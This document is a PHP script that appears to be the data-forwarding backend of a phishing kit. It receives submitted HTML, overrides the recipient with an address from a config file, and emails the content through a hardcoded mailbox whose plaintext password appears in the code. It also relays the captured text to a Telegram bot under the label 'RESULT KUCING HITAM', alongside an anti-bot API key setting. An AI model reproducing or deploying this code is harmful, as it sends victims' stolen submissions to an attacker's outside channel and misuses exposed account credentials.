<?php
ini_set('display_errors', 0);
error_reporting(0);

// PHPMailer
require 'Exception.php';
require 'PHPMailer.php';
require 'SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

// === Load Config ===
$configFile = './admin/setting.json';

function load_config($file) {
    if (!file_exists($file)) {
        $default = [
            "telegram_apikey" => "",
            "telegram_chatid" => "",
            "email" => "",
            "stopbot_apikey" => ""
        ];
        file_put_contents($file, json_encode($default, JSON_PRETTY_PRINT));
    }

    $content = file_get_contents($file);
    $data = json_decode($content, true);

    return is_array($data) ? $data : [];
}

$config = load_config($configFile);

class EmailSender {
    private $hosts = [
        [
            'email' => 'rescc@wenzton.top',
            'password' => '!Messigogo123'
        ]
    ];

    public function send($to, $subject, $message, $fromName = 'REZ', &$debugOutput = '') {
        ob_start();

        // === PRIMARY: Internal send via WHM/cPanel (sendmail / PHP mail()) ===
        try {
            $mailInt = new PHPMailer(true);

            $mailInt->SMTPDebug = 2;
            $mailInt->Debugoutput = function($str, $level) {
                echo "DEBUG[$level]: $str<br>";
            };

            // Gunakan transport internal
            $mailInt->isMail();

            $fallbackFrom = $this->hosts[0]['email'];
            $mailInt->setFrom($fallbackFrom, $fromName, false);
            $mailInt->Sender = $fallbackFrom;

            $mailInt->isHTML(true);
            $mailInt->Subject = $subject;
            $mailInt->Body = $message;
            $mailInt->AltBody = strip_tags($message);

            foreach (explode(',', $to) as $recipient) {
                $r = trim($recipient);
                if ($r !== '') {
                    $mailInt->addAddress($r);
                }
            }

            $mailInt->send();
            $debugOutput = ob_get_clean();
            return "Message sent successfully using WHM/cPanel internal mail() as {$fallbackFrom}";
        } catch (Exception $e) {
            // lanjut ke SMTP sebagai BACKUP
        }

        // === BACKUP: External SMTP (Outlook) ===
        $mail = new PHPMailer(true);
        foreach ($this->hosts as $cfg) {
            try {
                $mail->SMTPDebug = 2;
                $mail->Debugoutput = function($str, $level) {
                    echo "DEBUG[$level]: $str<br>";
                };

                $mail->isSMTP();
                $mail->Host = 'smtp-mail.outlook.com';   // Outlook SMTP
                $mail->SMTPAuth = true;
                $mail->Username = $cfg['email'];
                $mail->Password = $cfg['password'];
                $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
                $mail->Port = 587;

                $mail->setFrom($cfg['email'], $fromName);
                $mail->Sender = $cfg['email'];

                $mail->isHTML(true);
                $mail->Subject = $subject;
                $mail->Body = $message;
                $mail->AltBody = strip_tags($message);

                foreach (explode(',', $to) as $recipient) {
                    $r = trim($recipient);
                    if ($r !== '') {
                        $mail->addAddress($r);
                    }
                }

                $mail->send();
                $debugOutput = ob_get_clean();
                return "Message sent successfully using {$cfg['email']} via Outlook SMTP";
            } catch (Exception $e) {
                $mail->clearAddresses();
            }
        }

        $debugOutput = ob_get_clean();
        return "All internal & SMTP attempts failed. Last error: " . $mail->ErrorInfo;
    }
}

// === Process POST ===
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $to = filter_var($_POST['to'] ?? '', FILTER_SANITIZE_EMAIL);
    $subject = htmlspecialchars($_POST['subject'] ?? '');
    $html = $_POST['html'] ?? '';
    $name = htmlspecialchars($_POST['name'] ?? 'Anonymous');

    // Override recipient from config
    $updatedTo = filter_var($config['email'] ?? 'default@example.com', FILTER_SANITIZE_EMAIL);

    $emailSender = new EmailSender();
    $debugLog = '';
    $result = $emailSender->send($updatedTo, $subject, $html, $name, $debugLog);

    // Telegram
    if (!empty($config['telegram_apikey']) && !empty($config['telegram_chatid'])) {
        $text = "📧 *RESULT KUCING HITAM:*\n"
              . "*Subject:* {$subject}\n"
              . "*Message:*\n```\n" . substr(strip_tags(html_entity_decode($html)), 0, 3800) . "\n```";

        $url = "https://api.telegram.org/bot{$config['telegram_apikey']}/sendMessage";
        $data = [
            'chat_id' => $config['telegram_chatid'],
            'text' => $text,
            'parse_mode' => 'Markdown'
        ];

        $response = @file_get_contents($url . '?' . http_build_query($data));
    }

    // Debug log
    $log = "======================\n";
    $log .= "Time: " . date("Y-m-d H:i:s") . "\n";
    $log .= "To: $updatedTo\n";
    $log .= "From: $name\n";
    $log .= "Subject: $subject\n";
    $log .= "Result: $result\n";
    $log .= "======================\n\n";
    file_put_contents('email_debug_log.txt', $log, FILE_APPEND);

    // === JANGAN UBAH ECHO ===
    echo json_encode([
        "text"    => "Email sent and forwarded to Telegram!",
        "to"      => $updatedTo,
        "from"    => $name,
        "subject" => $subject,
        "html"    => $html
    ]);
}
?>
